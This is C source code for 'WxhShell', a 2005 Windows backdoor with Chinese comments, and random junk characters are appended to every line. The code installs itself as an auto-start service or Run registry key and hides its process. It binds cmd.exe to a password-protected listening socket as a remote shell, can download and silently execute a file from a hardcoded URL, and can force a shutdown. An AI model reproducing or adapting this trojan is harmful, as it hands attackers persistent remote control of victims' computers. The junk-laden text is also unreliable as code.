  case 'd': { NVnKgGlHgd  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /HNZwbh]uJ  
    if(Boot(SHUTDOWN))  X7sWu{n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tPS.r.0#^  
    else { ksxacRA7\  
    closesocket(wsh); `p&ko$i2  
    ExitThread(0); >#@1 I  
    } ,i2%FW  
    break; qj71 rj  
    } Ru?Ue4W^b  
  // 获取shell .P=uR8  
  case 's': { Z_qs_/y  
    CmdShell(wsh); o} #nf$v(  
    closesocket(wsh); S.+)">buH  
    ExitThread(0); V*l0| ,9  
    break; 4/{Io &|  
  } ~'WvIA (  
  // 退出 _"Q +G@@  
  case 'x': { a9GOY+;bf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ZkYc9!anY  
    CloseIt(wsh); >GiM?*cC  
    break; ?6    
    } #K7i<Bf  
  // 离开 !MB%  
  case 'q': { &7 }!U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); OwP9=9};  
    closesocket(wsh); 0k5Z l?  
    WSACleanup(); xPh%?j?*v  
    exit(1); +G&h  
    break; ( $3j  
        } 'uUp1+  
  } v@k62@;  
  } ~?vm97l  
:~^ec|tp  
  // 提示信息 qy@gW@IU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);   [E(DGt  
} -p>KFHj6  
  } ewgcpV|spn  
vi0% jsI  
  return; u+s#Fee I  
} L6j 5pI  
$*%Ml+H-  
// shell模块句柄 uL b- NxQ-  
int CmdShell(SOCKET sock) dUn8Xqj1  
{ o})4Jt1vj  
STARTUPINFO si; uw+v]y  
ZeroMemory(&si,sizeof(si)); 8Es]WR5 ^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b]s=Uv#)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >"F~%D<.  
PROCESS_INFORMATION ProcessInfo; >qx~m>2|8]  
char cmdline[]="cmd"; g\ @nA4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n/s!S &  
  return 0; mN?'Aey  
} "yc/8{U  
eEn_aX  
// 自身启动模式 bm1ngI1oI  
int StartFromService(void) 5v~Y>  
{ $'X*L e@k  
typedef struct tZa)sbz  
{ B>o\;)l3O  
  DWORD ExitStatus; vD) LRO Z  
  DWORD PebBaseAddress; v%&f00  
  DWORD AffinityMask; C3 0b}2  
  DWORD BasePriority; iTD}gC  
  ULONG UniqueProcessId; P1 (8foZA  
  ULONG InheritedFromUniqueProcessId; S:vv*5  
}   PROCESS_BASIC_INFORMATION; {H $\,  
5DyN=[b  
PROCNTQSIP NtQueryInformationProcess; c ~YD|l  
^V_acAuS^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V{Idj\~Jh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ItKwB+my  
2O9dU 5b  
  HANDLE             hProcess; ]-%ZN+  
  PROCESS_BASIC_INFORMATION pbi; ]rn!+z  
lIzJO$8cM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [p!C+ |rro  
  if(NULL == hInst ) return 0; gKb4n Nt  
^Sy\<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l$,l3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2t[c^J  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g,y`[dr  
9qXHdpb#g"  
  if (!NtQueryInformationProcess) return 0;  2WE   
I6y&6g  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yc]ni.Hz  
  if(!hProcess) return 0; 0 nWV1)Q0=  
rxa"ji!)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v_c'npC  
![abDT5![  
  CloseHandle(hProcess); <?qmB }Y  
J-?\,N1R7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N>ct`a)BD/  
if(hProcess==NULL) return 0; gyCb\y+\a  
.[2MPjg  
HMODULE hMod; f[.hN  
char procName[255]; W]2;5 `MM  
unsigned long cbNeeded; s7xRry  
~g|e?$j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;S?1E:\av  
K/\#FJno  
  CloseHandle(hProcess); ;xB"D0~,1  
:R_{tQ-WG  
if(strstr(procName,"services")) return 1; // 以服务启动 '12|:t&7  
kOdS^-  
  return 0; // 注册表启动 @z/]!n\~  
} i6`8yw  
 _&(ij(H  
// 主模块 87<y_P@{  
int StartWxhshell(LPSTR lpCmdLine) mnmwO(.  
{ oN `tZ;a  
  SOCKET wsl; #mkr]K8A4  
BOOL val=TRUE; w,}}mC)\*  
  int port=0; n"FOCcTIs  
  struct sockaddr_in door; g+k6pi*  
ejr"(m(Xe  
  if(wscfg.ws_autoins) Install(); iU%Gvf^?'5  
HENCQ_Wra  
port=atoi(lpCmdLine); )&R;!#;5  
['R=@.  
if(port<=0) port=wscfg.ws_port; 3l L:vD5(  
M0]l!x#7  
  WSADATA data; 6J|f^W-fs  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mu{%%b7|^  
=JVRm 2#*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   IB!Wrnj?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2WUBJ-qnuT  
  door.sin_family = AF_INET; |%RFXkHS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); GU[ Cq=k  
  door.sin_port = htons(port); `=KrV#/758  
zi-+@9T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TS[Z<m  
closesocket(wsl); ~!&[;EM<bm  
return 1; A+F-r_]}db  
} yPQ{tS*t  
+'n1?^U  
  if(listen(wsl,2) == INVALID_SOCKET) { 4l$8lYi  
closesocket(wsl); ycE<7W  
return 1; @nT8[v  
} so8-e  
  Wxhshell(wsl); 23OV y^b  
  WSACleanup(); aSF&^/j  
$Ilr.6';  
return 0; RDqC$Gu  
/GeS(xzQ  
} ZDDwh&h  
,@!d%rL:4]  
// 以NT服务方式启动 WX=+\`NyJ(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P)\f\yb  
{ 3\WES!  
DWORD   status = 0; F 5JgR-P  
  DWORD   specificError = 0xfffffff; f:UN~z'yr  
@2$8o]et  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }`M6+.z3F  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4xYo2X,B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; < Ihn1?  
  serviceStatus.dwWin32ExitCode     = 0; V3+%KkN  
  serviceStatus.dwServiceSpecificExitCode = 0; '~2v/[<`}  
  serviceStatus.dwCheckPoint       = 0; |1<Z3\+_/  
  serviceStatus.dwWaitHint       = 0; ^CE:?>a$  
*ap#*}r!Nk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hN:Z-el  
  if (hServiceStatusHandle==0) return; lLDHx3+  
iIF'!K=q  
status = GetLastError(); mY AFruN  
  if (status!=NO_ERROR) ?#[K&$}  
{ l2v}PALs  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K5ph x  
    serviceStatus.dwCheckPoint       = 0; '9[_ w$~(  
    serviceStatus.dwWaitHint       = 0; Y$Ke{6 4  
    serviceStatus.dwWin32ExitCode     = status; /vV 0$vg  
    serviceStatus.dwServiceSpecificExitCode = specificError; .Lp-'!i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8)tyn'~i  
    return; .cabw+& 7  
  } <5#e.w  
:_H88/?RR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }dR *bG  
  serviceStatus.dwCheckPoint       = 0; UetmO`qju  
  serviceStatus.dwWaitHint       = 0; [< `+9R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >I!(CM":s$  
} a;zcAeX  
avz 4 &  
// 处理NT服务事件,比如:启动、停止 Iymz2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) evR=Z\ _  
{ W6iIL:sp  
switch(fdwControl) GkC88l9z  
{ S-H3UND"  
case SERVICE_CONTROL_STOP: z[rB/ |2  
  serviceStatus.dwWin32ExitCode = 0; o99 a=x6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *o#`lH  
  serviceStatus.dwCheckPoint   = 0; \wCL)t.cX  
  serviceStatus.dwWaitHint     = 0; \*N1i`99  
  { =e+go ]87x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B dKwWgi+a  
  } **"P A8   
  return; @hvq,[   
case SERVICE_CONTROL_PAUSE: w&gHmi  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; QM]^@2rK2  
  break; ?`XKaD! f  
case SERVICE_CONTROL_CONTINUE: DXGO-]!!0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y*D 8XI$  
  break; s^ a`=kO  
case SERVICE_CONTROL_INTERROGATE: 5e LPn  
  break; 5 9vGLN!L  
}; ;@ e |}Gk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :+=*  
} IviWS84  
Pm_=   
// 标准应用程序主函数 21[F%,{.),  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) IW#(ICeb  
{ #n"/9%35f`  
?xet:#R'  
// 获取操作系统版本 Txh;r.1e  
OsIsNt=GetOsVer(); O+N-x8W{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <gy'@w?  
0d2%CsMS"D  
  // 从命令行安装 tFQFpbI  
  if(strpbrk(lpCmdLine,"iI")) Install(); $3ILVT  
1:t>}[Y  
  // 下载执行文件 m+=!Z|K  
if(wscfg.ws_downexe) { S`G\Cd;5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [ZbK)L+_  
  WinExec(wscfg.ws_filenam,SW_HIDE); &)l:m.  
} i&$uG[&P  
#o RUH8  
if(!OsIsNt) { Sf8d|R@O  
// 如果时win9x,隐藏进程并且设置为注册表启动 E(8g(?4  
HideProc(); vn<S"  
StartWxhshell(lpCmdLine); cjXwOk1:s  
} y ^\8x^Eg  
else UQ)}i7v  
  if(StartFromService()) hA8 zXk/'8  
  // 以服务方式启动 &}cie"\L  
  StartServiceCtrlDispatcher(DispatchTable); DbN'b(+  
else Q  [{vU  
  // 普通方式启动 F*4+7$E0B  
  StartWxhshell(lpCmdLine); E'G>'cW;x  
=-qsz^^a-  
return 0; /HRaX!|E#  
} x _K%  
~ #CCRUhM  
J (h>  
1GdD  
=========================================== Q Y'-]  
I,eyL$x  
DtZm|~)a  
q1y4B`  
"ivqh{ ,  
l+6(|"md  
" 0pFHE>  
+mQSlEo  
#include <stdio.h> pQNFH)=nw  
#include <string.h> o__q)"^~-  
#include <windows.h> 5qy}~dQ  
#include <winsock2.h> 6{'6_4;Fv(  
#include <winsvc.h> ^|C|=q~:  
#include <urlmon.h> F0Hbklr  
&[kgrRF@HU  
#pragma comment (lib, "Ws2_32.lib") ,k!a3"4+TJ  
#pragma comment (lib, "urlmon.lib") Qx;A; n!lw  
7o. 'F  
#define MAX_USER   100 // 最大客户端连接数 3U)8P6Fz  
#define BUF_SOCK   200 // sock buffer "tM/`:Qp  
#define KEY_BUFF   255 // 输入 buffer Be+:-t)  
\0h/~3  
#define REBOOT     0   // 重启 O 0#Jl8  
#define SHUTDOWN   1   // 关机 9f,:j  
YW<2:1A|  
#define DEF_PORT   5000 // 监听端口 [Jo TWouNU  
WFP\;(YV  
#define REG_LEN     16   // 注册表键长度 i1\2lh$  
#define SVC_LEN     80   // NT服务名长度 BvF_9  
_GqE'VX  
// 从dll定义API 1!3kAcBP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +`8)U3u0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fP58$pwu  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (, "E9.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $8k_M   
keskD  
// wxhshell配置信息 NrcCUZ .:N  
struct WSCFG { @'@6vC  
  int ws_port;         // 监听端口 SWpUVZyd  
  char ws_passstr[REG_LEN]; // 口令 \BXVWE|  
  int ws_autoins;       // 安装标记, 1=yes 0=no OU@x1G{Cy  
  char ws_regname[REG_LEN]; // 注册表键名 V%lGJ]ZEa  
  char ws_svcname[REG_LEN]; // 服务名 :N*T2mP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =joXP$n^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 j_@3a)[NY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K"7;Y#1g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no K/`RZ!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z :v, Vu  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v Lv@Mo  
Cg pT(E\E  
}; m7vxzC*  
E]U0CwFtr  
// default Wxhshell configuration `Xdxg\|  
struct WSCFG wscfg={DEF_PORT, KVxb"|[  
    "xuhuanlingzhe", :-La $I>  
    1, fhKiG%i'l  
    "Wxhshell", .To:tN#  
    "Wxhshell", <C;> $kX  
            "WxhShell Service", sdYj'e:N  
    "Wrsky Windows CmdShell Service", .A)Un/k7  
    "Please Input Your Password: ", v&2@<I>  
  1, SzX~;pFM0  
  "http://www.wrsky.com/wxhshell.exe", R Sz[6  
  "Wxhshell.exe" t<F]%8S  
    }; #J724`  
]31XX=  
// 消息定义模块 Xe;(y "pR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8Ql'(5|T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bs EpET  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W'h0Zg  
char *msg_ws_ext="\n\rExit."; S.|kg2  
char *msg_ws_end="\n\rQuit."; AYIz;BmWy  
char *msg_ws_boot="\n\rReboot..."; Ir"Q%>K0f  
char *msg_ws_poff="\n\rShutdown..."; m\M+pjz  
char *msg_ws_down="\n\rSave to "; o MkY#<Q}  
dqA[|bV  
char *msg_ws_err="\n\rErr!"; ~h0BT(p/  
char *msg_ws_ok="\n\rOK!"; ([b!$o<v  
y*h1W4:^-  
char ExeFile[MAX_PATH]; #Jz&9I<OKx  
int nUser = 0; _/~ ,a  
HANDLE handles[MAX_USER]; +'KE T,  
int OsIsNt; C_cs(}wi  
cvE.r330|  
SERVICE_STATUS       serviceStatus; LG{inhbp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; : 5<9/  
[ 5 2zta  
// 函数声明 P3tG#cJ  
int Install(void); U!?gdX  
int Uninstall(void); fGf-fh;s  
int DownloadFile(char *sURL, SOCKET wsh); ikN!ut  
int Boot(int flag); 8<g#$(a_E  
void HideProc(void); exO#>th1  
int GetOsVer(void); ~vSAnjeR  
int Wxhshell(SOCKET wsl); zX [ r  
void TalkWithClient(void *cs); $n Sh[ {  
int CmdShell(SOCKET sock); 3*$9G)Ey  
int StartFromService(void); _T|H69 J  
int StartWxhshell(LPSTR lpCmdLine); {lTxB'W@d  
$>"e\L4Kp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `1bX.7K43  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); C]yQ "b  
h^+C)6(58n  
// 数据结构和表定义 k\sM;bCv7  
SERVICE_TABLE_ENTRY DispatchTable[] = Nv?-*&L  
{ |"YA<e %  
{wscfg.ws_svcname, NTServiceMain}, /CI%XocB  
{NULL, NULL} 1Uemsx%'k  
}; q7f;ZK=f  
?Wg{oB@(  
// 自我安装 *UBP]w  
int Install(void) 2k}-25xxL  
{ )HX:U0  
  char svExeFile[MAX_PATH]; (s$u_aq 77  
  HKEY key; ? x"HX|n  
  strcpy(svExeFile,ExeFile); !@<@QG-  
%aH$Tb%`hc  
// 如果是win9x系统,修改注册表设为自启动 0GX10*t.  
if(!OsIsNt) { 4s~HfxYT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T3 9C lH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X')Zm+  
  RegCloseKey(key); 3<Z'F}lg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AwXt @!(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !Wixs]od   
  RegCloseKey(key); + sywgb)  
  return 0; &^7uv0M<y  
    } jc&/}o$K  
  } }\f(qw  
} G_M:0YI@  
else { QGr\I/Y  
3g0u#t{  
// 如果是NT以上系统,安装为系统服务 HS\3)Ooj>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >bA$SN  
if (schSCManager!=0) UiR,^/8ED  
{ |ck ZyDA  
  SC_HANDLE schService = CreateService UV']NH h  
  ( lH)em.#  
  schSCManager, #~4{`]W6  
  wscfg.ws_svcname, vXWsF\g  
  wscfg.ws_svcdisp, slge+xq\J  
  SERVICE_ALL_ACCESS, %l:|2s:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M U?{?5  
  SERVICE_AUTO_START, xaWGa1V'z  
  SERVICE_ERROR_NORMAL, h41$|lonU%  
  svExeFile, qcTmsMpj  
  NULL, 7Aio`&^  
  NULL, @ )vy'qP d  
  NULL, f2 ydL/M,  
  NULL, 9^PRX  
  NULL 22GnbA7O  
  ); =! N _^cb  
  if (schService!=0) <AMb!?Obh  
  { E7gHi$  
  CloseServiceHandle(schService); %6A-OF  
  CloseServiceHandle(schSCManager); [A"H/Qztk  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'h^-t^:<>b  
  strcat(svExeFile,wscfg.ws_svcname); #9$V 08  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +ze}0lrEL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CF|moc:;  
  RegCloseKey(key); #vj#! 1  
  return 0; $ZI~8rI~  
    } $5lW)q A  
  } \P l,' 1%  
  CloseServiceHandle(schSCManager); hdd>&?p3  
} @PQrmn6w  
} S5~`T7Ra  
,!6M* |  
return 1; R:w %2Y  
} MSZ!W(7,<  
jCTy:q]  
// 自我卸载 As@ihB+(\  
int Uninstall(void) b/sOfQ  
{ h; 'W :P  
  HKEY key; F0&~ ?2nG  
(PS$e~H s  
if(!OsIsNt) { vpm ]9>1[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *o02!EYge  
  RegDeleteValue(key,wscfg.ws_regname); H]_WFiW-9  
  RegCloseKey(key); Nush`?]J"_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cQT1Xi  
  RegDeleteValue(key,wscfg.ws_regname); +_qh)HX  
  RegCloseKey(key); ytjK++(T5  
  return 0; H\^VqNK"  
  } k> b&xM!  
} rIeM+h7Wn  
} :E>&s9Yj?  
else { rH9uGm-*  
Hp\Ddx >Jd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V@vhj R4r\  
if (schSCManager!=0) eo1&.FQu  
{ XzT78  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IQ3n@  
  if (schService!=0) @Ex;9F,Q  
  { })@tA<+  
  if(DeleteService(schService)!=0) { L5Urg*GNL  
  CloseServiceHandle(schService); - <J q  
  CloseServiceHandle(schSCManager); 4~O6$;!|~  
  return 0; Zc-#;/b3T  
  } GAv)QZyV$  
  CloseServiceHandle(schService); +XEjXH5K  
  } 0iYP  
  CloseServiceHandle(schSCManager); u4:\UC'  
} $ !v}xY  
} 8rFaW  
J?C k4dQ  
return 1; F9MR5O"  
} f hQy36i@  
'pan9PW  
// 从指定url下载文件 MZT6g.ny  
int DownloadFile(char *sURL, SOCKET wsh) a3Y{lc#z}  
{ hUVk54~l  
  HRESULT hr; i{8]'fM  
char seps[]= "/"; 16I&7=S,  
char *token; I>{!U$  
char *file; {3hqp*xl  
char myURL[MAX_PATH]; 8N% z9b  
char myFILE[MAX_PATH]; 7p^@;@V  
Oe/6.h?  
strcpy(myURL,sURL); vQUZVq5M  
  token=strtok(myURL,seps); "2a$1Wmj(  
  while(token!=NULL) 0Cl,8P  
  { NZ>7dJ  
    file=token; CoU3S,;*  
  token=strtok(NULL,seps); =HVfJ"vK  
  } ;SgD 5Ln}  
&K>cW$h=a  
GetCurrentDirectory(MAX_PATH,myFILE); +UzXN$73  
strcat(myFILE, "\\"); N31?9GE  
strcat(myFILE, file); q]px(  
  send(wsh,myFILE,strlen(myFILE),0); lR:?uZ$  
send(wsh,"...",3,0); 8O6_iGTBh  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4otl_l(`yv  
  if(hr==S_OK) A t{U~^  
return 0; :q^R `8;(t  
else ;{k=C2  
return 1; BRb\V42i;  
^|#>zCt^  
} S?L#N  
Go1(@  
// 系统电源模块 eJ)1K  
int Boot(int flag) RU0i#suiz  
{ SB TPTb  
  HANDLE hToken; :X_CFW  
  TOKEN_PRIVILEGES tkp; \eQ la8s  
vQ 4}WtvA  
  if(OsIsNt) { |zq4*  5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Bz+.Qa+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0#QKVZq2>  
    tkp.PrivilegeCount = 1; p%F8'2)}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4U?<vby  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U/Wrh($ #4  
if(flag==REBOOT) { -/>9c-F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b6"}"bG  
  return 0; T7 {<arL$  
} cGNvEM(4AV  
else { Q"%S~&#'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gE\b 982  
  return 0; RvyuGU  
} O~27/  
  } QdDObqVdy  
  else { 9~c~E/4!  
if(flag==REBOOT) { 9@n diu[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6PU/{c  
  return 0; D+sQPymI  
} |O-`5_z$r  
else { ZqQ*}l5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wK ?@.l)u  
  return 0; 2ev*CX6.  
} =q+R   
} 1a$IrQE  
:= <0=JE#  
return 1; }_}KVI  
} TQf L%JT  
_({@B`N}  
// win9x进程隐藏模块 r<c #nD~K  
void HideProc(void) :"<e0wDu[  
{ X&a:g  
M+poB+K.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <~{du ?4n  
  if ( hKernel != NULL ) *%\mZ,s"  
  { 5qbq,#Pf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jvHFFSK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uvnI>gv  
    FreeLibrary(hKernel); r|GY]9  
  } W;zpt|kAH  
XA<ozq'  
return; *}cSE|S%  
} 7+nm31,<O  
>{5 p0  
// 获取操作系统版本 \\:|Odd  
int GetOsVer(void) 1u~ MXGF  
{ "3fBY\>a  
  OSVERSIONINFO winfo; 5Fbs WW2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2q PhLCe Z  
  GetVersionEx(&winfo); 0{+.H_f`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PLA#!$c7q  
  return 1; 7 [d ?  
  else ^lj7(  
  return 0; FW..mD9)}  
} 3[d>&xk@$  
@;iXp>&&  
// 客户端句柄模块 6L9, 'Bg  
int Wxhshell(SOCKET wsl) WOX}Sw"  
{ yZCX S  
  SOCKET wsh; &Z;_TN9[  
  struct sockaddr_in client; T95t"g?p  
  DWORD myID; W .I\J<=V  
dNiH|-$an  
  while(nUser<MAX_USER) M`7y>Ud  
{ bgF^(T35  
  int nSize=sizeof(client); BRS#Fl:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O_;Dk W  
  if(wsh==INVALID_SOCKET) return 1; '<dgT&8C  
R)5n 8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !GwL,)0@^  
if(handles[nUser]==0) -Z0+oU(?YE  
  closesocket(wsh); T2FE+A]n9  
else 6C [E  
  nUser++; *?t%0){  
  } A"uULfnk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pOT7;-#n  
&GhPvrxI?  
  return 0; CnISe^h  
} uw AwWgl  
G[,Q95`w?<  
// 关闭 socket wN=;i#  
void CloseIt(SOCKET wsh) S($Su7g%_  
{ 0 1V^L}  
closesocket(wsh); iW%8/$  
nUser--; R=]d%L8  
ExitThread(0); x Q4%e[/  
} u92^(|  
xSMt*]=9  
// 客户端请求句柄 N&,]^>^u  
void TalkWithClient(void *cs) fv!?Ga(  
{ -/P\"c  
p H@]Y+W  
  SOCKET wsh=(SOCKET)cs; SaOYu &>  
  char pwd[SVC_LEN]; \%0n}.A  
  char cmd[KEY_BUFF]; Gl}Qxv#$  
char chr[1]; j%IF2p2  
int i,j; Oy57$  
Yg9joNBh  
  while (nUser < MAX_USER) { @FO) 0  
wkUlrL/~  
if(wscfg.ws_passstr) { LR(-<"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4_/?:$KO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5PT5#[  
  //ZeroMemory(pwd,KEY_BUFF); MGJ.,tK1  
      i=0; k8AW6oO/i  
  while(i<SVC_LEN) { Wb}c=hZv  
yQNV@T<o  
  // 设置超时 P"/G  
  fd_set FdRead; IZ/m4~  
  struct timeval TimeOut; k,yZ[n|`  
  FD_ZERO(&FdRead); 5=|hC3h  
  FD_SET(wsh,&FdRead); j|4C\~i  
  TimeOut.tv_sec=8; E>|: D  
  TimeOut.tv_usec=0; Dd/wUP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yQ,{p@#X8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V[o`\|<  
c0&Rg#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?a(L.3 E  
  pwd=chr[0]; Gh.[dF?  
  if(chr[0]==0xd || chr[0]==0xa) { 6( CDNMzj  
  pwd=0; Jg}K.1Hs  
  break; T~0k"uTE  
  } ;!!n{l$r'  
  i++; &-d&t` `  
    } u&mS8i}  
%a+mk E  
  // 如果是非法用户,关闭 socket G+UMBn  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \R36w^c3  
} ?L&'- e@  
j)C,%Ol  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H,nec<Jp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o%9*B%HO/  
{(U %i\F\  
while(1) { {!t7[Ctb  
,I1 RV  
  ZeroMemory(cmd,KEY_BUFF); 0j"8@<  
}X*Riu7gk  
      // 自动支持客户端 telnet标准   li~d?>  
  j=0; I M-L'9  
  while(j<KEY_BUFF) { d)4 m6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Sz- J y:j  
  cmd[j]=chr[0]; |KSy`lY-j>  
  if(chr[0]==0xa || chr[0]==0xd) { 1cS}J:0P  
  cmd[j]=0; 8>,jpAN}r  
  break; 7(5xL T$  
  } Lzu.)C@Amx  
  j++; ho##Z*O  
    } =  C4  
EkgE_8  
  // 下载文件 &e 6CJ  
  if(strstr(cmd,"http://")) { &wD;SMr<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 35E_W>n  
  if(DownloadFile(cmd,wsh)) v\m ]A1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =R*qP;#  
  else 79`AM X[b  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &|f@$ff  
  } 28 8XF9B^  
  else { /"eey(X  
